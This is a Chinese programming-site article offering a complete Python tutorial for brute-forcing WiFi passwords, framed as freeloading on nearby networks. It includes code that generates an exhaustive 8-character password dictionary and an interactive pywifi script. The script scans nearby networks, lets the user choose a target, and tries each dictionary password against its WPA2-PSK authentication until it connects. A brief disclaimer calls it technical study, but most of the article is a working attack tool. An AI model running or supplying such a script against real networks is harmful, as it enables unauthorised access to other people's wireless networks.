iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >python破解WiFi教程代码,Python蹭网原理讲解
  • 486
分享到

python破解WiFi教程代码,Python蹭网原理讲解

python破解WiFiPython蹭网 2023-01-28 06:01:02 486人浏览 独家记忆

Python 官方文档:入门教程 => 点击学习

摘要

目录一、安装pywifi二、构建wifi密码字典三、python实现wifi破解用Python生成一个简单的密码本,一般是有数字、字母和符号组成,这里用到的思路主要是穷举法。通过使用

Python生成一个简单的密码本,一般是有数字、字母和符号组成,这里用到的思路主要是穷举法。通过使用pywifi 模块,根据密码本暴力破解WiFi。

声明:本文只是从技术的角度来阐述学习Pywifi库!并不建议大家做任何破坏性的操作和任何不当的行为!

一、安装pywifi

pywifi是在python中一个用于操作无线接口的模块,可以跨平台使用,windowslinux都支持

在notebook或者PyCharm、anaconda中安装

pip install pywifi

二、构建wifi密码字典

一般字典包括数字(0-9)、字母(a-z,区分大小写)、特殊字符(!@#$%^&*()_+=-)

常规的wifi密码为8位,且仅包括数字和小写字母,所以我们可以从数字和字母组成的字符串中随机挑选出8位(单个字符可重复出现),作为wifi密码组成字典存入txt文档。

也可以去网上下载一个常用wifi密码,只要是TXT文本就可以.

import itertools as its
Words = "1234567890abcdefghijklmnopqrstuvwxyz" #可选择的字符
r =its.product(words,repeat=8)  #组成8位字符串
dic = open("pwd.txt","a")      #存储为wifi密码字典
#wifi密码完成换行,并写入txt文档
for i in r:
    dic.write("".join(i))
    dic.write("".join("\n"))
dic.close()

三、python实现wifi破解

import pywifi
import time
from pywifi import const
 
# WiFi扫描模块
def wifi_scan():
    # 初始化wifi
    wifi = pywifi.PyWiFi()
    # 使用第一个无线网卡
    interface = wifi.interfaces()[0]
    # 开始扫描
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
    print('\r扫描完成!\n' + '-' * 38)
    print('\r{:4}{:6}{}'.fORMat('编号', '信号强度', 'wifi名'))
    # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象
    bss = interface.scan_results()
    # 存放wifi名的集合
    wifi_name_set = set()
    for w in bss:
        # 解决乱码问题
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    # 存入列表并按信号排序
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # 格式化输出
    while num < len(wifi_name_list):
        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    # 返回wifi列表
    return wifi_name_list
 
# WIFI破解模块
def wifi_password_crack(wifi_name):
    # 字典路径
    wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")
    with open(wifi_dic_path, 'r') as f:
        # 遍历密码
        for pwd in f:
            # 去除密码的末尾换行符
            pwd = pwd.strip('\n')
            # 创建wifi对象
            wifi = pywifi.PyWiFi()
            # 创建网卡对象,为第一个wifi网卡
            interface = wifi.interfaces()[0]
            # 断开所有wifi连接
            interface.disconnect()
            # 等待其断开
            while interface.status() == 4:
                # 当其处于连接状态时,利用循环等待其断开
                pass
            # 创建连接文件(对象)
            profile = pywifi.Profile()
            # wifi名称
            profile.ssid = wifi_name
            # 需要认证
            profile.auth = const.AUTH_ALG_OPEN
            # wifi默认加密算法
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            # wifi密码
            profile.key = pwd
            # 删除所有wifi连接文件
            interface.remove_all_network_profiles()
            # 设置新的wifi连接文件
            tmp_profile = interface.add_network_profile(profile)
            # 开始尝试连接
            interface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time < 1.5:
                # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)
                if interface.status() == 4:
                    print(f'\r连接成功!密码为:{pwd}')
                    exit(0)
                else:
                    print(f'\r正在利用密码 {pwd} 尝试破解。', end='')
# 主函数
def main():
    # 退出标致
    exit_flag = 0
    # 目标编号
    target_num = -1
    while not exit_flag:
        try:
            print('WiFi万能钥匙'.center(35, '-'))
            # 调用扫描模块,返回一个排序后的wifi列表
            wifi_list = wifi_scan()
            # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理
            choose_exit_flag = 0
            while not choose_exit_flag:
                try:
                    target_num = int(input('请选择你要尝试破解的wifi:'))
                    # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入
                    if target_num in range(len(wifi_list)):
                        # 二次确认
                        while not choose_exit_flag:
                            try:
                                choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
                                # 对用户输入进行小写处理,并判断
                                if choose.lower() == 'y':
                                    choose_exit_flag = 1
                                elif choose.lower() == 'n':
                                    break
                                # 处理用户其它字母输入
                                else:
                                    print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
                            # 处理用户非字母输入
                            except ValueError:
                                print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
                        # 退出破解
                        if choose_exit_flag == 1:
                            break
                        else:
                            print('请重新输入哦(*^▽^*)')
                except ValueError:
                    print('只能输入数字哦o(* ̄︶ ̄*)o')
            # 密码破解,传入用户选择的wifi名称
            wifi_password_crack(wifi_list[target_num][1])
            print('-' * 38)
            exit_flag = 1
        except Exception as e:
            print(e)
            raise e
 
 
if __name__ == '__main__':
    main()

到此这篇关于python破解WiFi教程代码,Python蹭网原理讲解的文章就介绍到这了,更多相关python破解WiFi内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: python破解WiFi教程代码,Python蹭网原理讲解

本文链接: https://www.lsjlt.com/news/178421.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • python破解WiFi教程代码,Python蹭网原理讲解
    目录一、安装pywifi二、构建wifi密码字典三、python实现wifi破解用Python生成一个简单的密码本,一般是有数字、字母和符号组成,这里用到的思路主要是穷举法。通过使用...
    99+
    2023-01-28
    python破解WiFi Python蹭网
  • 如何用Python破解wifi密码
    如何用Python破解wifi密码,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。Python真的是无所不能,原因就是因为Python有数目庞大的库,无数的现成的轮子,让你做很多...
    99+
    2023-06-02
  • Python暴力破解附近局域网WiFi密码
    前言 本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。 无图形界面 先来看看没有图形界面版的爆破脚本。 WIFI爆破 import pywififrom pywifi import consti...
    99+
    2023-09-08
    安全 python 开发语言
  • ​python如果如何破解WiFi密码
    这篇文章主要介绍python如果如何破解WiFi密码,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!python破解WiFi密码1.安装pywifi和comtypes 两个模块pip install pywifipip...
    99+
    2023-06-15
  • 利用Python暴力破解邻居家WiFi密码
    如觉得博主文章写的不错或对你有所帮助的话,还望大家多多支持呀!关注、点赞、收藏、评论。 文章目录 一、编写代码二、展示测试结果三、测试四、生成密码本(建议自己找一个密码本) ...
    99+
    2023-08-31
    python 开发语言
  • python攻防-破解附近局域网WIFI密码实现上网自由
    目录无图形界面WIFI爆破脚本优化图形化界面简单版UIUI升级版无图形界面 先来看看没有图形界面版的爆破脚本。 WIFI爆破 import pywifi from pywifi ...
    99+
    2024-04-02
  • 如何用python暴力破解wifi密码EXE应用
    本篇内容介绍了“如何用python暴力破解wifi密码EXE应用”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!前置准备-依赖库comtype...
    99+
    2023-07-04
  • Python实现暴力破解wifi密码并打包成exe
    目录前言功能点预览前置准备-依赖库Python tkinter编写GUI界面密码字典开撸打包成exe演示PS前言 python号称是编程界的万金油,那么是否可以做个读取电脑网卡wif...
    99+
    2024-04-02
  • python爬取网站数据(含代码和讲解)
    提示:本次爬取是利用xpath进行,按文章的顺序走就OK的; 文章目录 前言 一、数据采集的准备 1.观察url规律 2.设定爬取位置和路径(xpath) 二、数据采集 1. 建立存放数据的dataframe 2. 开始爬取 3. 把...
    99+
    2023-09-06
    python javascript jupyter
  • Python运算符:破解代码难题,解锁编程潜力
    运算符是Python中强大的工具,它们允许操纵数据并控制程序流。掌握运算符是成为一名熟练的Python程序员的基础。本文将深入探索Python运算符,从基本算术运算符到高级逻辑运算符,帮助您破解代码难题,释放您的编程潜力。 算术运算符 算...
    99+
    2024-03-09
    Python、运算符、代码难题、编程
  • Python破解网站登录密码脚本
    目录关键代码解释完整代码方法一运行结果方法二运行结果测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级 关键代码解释 url指定url地址 url = "http...
    99+
    2024-04-02
  • Python代码调试技巧教程详解
    关于代码调试的技巧,我之前写过很多的文章,关注比较早的同学,也应该都有看过。 还没看过的同学,欢迎前往查阅:更多Python代码调试技巧 其中有一篇是关于 pdb 的调试技巧的: 里...
    99+
    2024-04-02
  • 一朵玫瑰花的python代码,python玫瑰花代码讲解
    大家好,本文将围绕用python画玫瑰花代码 祝福生日快乐展开说明,一朵玫瑰花的python代码是一个很多人都想弄明白的事情,想搞清楚python绘制玫瑰花代码需要先了解以下几个事情。 1、怎么用python画玫瑰花,求大神贴代码,感激不...
    99+
    2023-09-17
    matplotlib 开发语言
  • Python轻松破解加密压缩包教程详解
    目录一、准备工作二、开始操作相信大家都遇到过这种情况,下载文件的时候遇到压缩包又没有密码,或者说自己设置的加密密码,但是忘记了,就很难受~ 但是~ 在Python程序员面前,这都是...
    99+
    2024-04-02
  • Python破解excel进入密码的过程详解
    目录一、excel进入密码二、密码解除思路三、python1.conf.ini2.crack.py一、excel进入密码 加密算法cipher Algorithm=“AE...
    99+
    2024-04-02
  • python pyppeteer 破解京东滑块功能的代码
    Pyppeteer简介 介绍Pyppeteer之前先说一下Puppeteer,Puppeteer是谷歌出品的一款基于Node.js开发的一款工具,主要是用来操纵Chrome浏览器的 ...
    99+
    2024-04-02
  • python教程网络爬虫及数据可视化原理解析
    目录1 项目背景1.1Python的优势1.2网络爬虫1.3数据可视化1.4Python环境介绍1.4.1简介1.4.2特点1.5扩展库介绍1.5.1安装模块1.5.2主要模块介绍2...
    99+
    2024-04-02
  • 教你利用Python破解ZIP或RAR文件密码
    目录一、破解原理二、实验环境三、编码四、使用五、扩展一、破解原理 其实原理很简单,一句话概括就是「大力出奇迹」,Python 有两个压缩文件库:zipfile 和 rarfile,这...
    99+
    2024-04-02
  • 教你python破解滑块验证码!记得收藏!
    文章目录 前言一、滑动验证破解思路二、案例讲解三、代码实现 前言 有小伙伴们私信反馈说,在web自动化的过程中,经常会被登录的验证码给卡住,不知道如何去通过验证码的验证。今天专门给大家来...
    99+
    2023-09-04
    python 开发语言 编程 爬虫
  • Python网络安全之谜:破解代码背后的隐秘陷阱
    Python是一种广泛使用的编程语言,在网络安全领域也占据重要地位。然而,隐藏在Python网络安全代码背后的隐秘陷阱却可能给网络安全从业人员带来意想不到的挑战。本文将深入探究这些陷阱,并提供有效的防御措施。 1. 输入验证的疏忽 输入...
    99+
    2024-03-03
    Python 网络安全 代码破解 陷阱
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作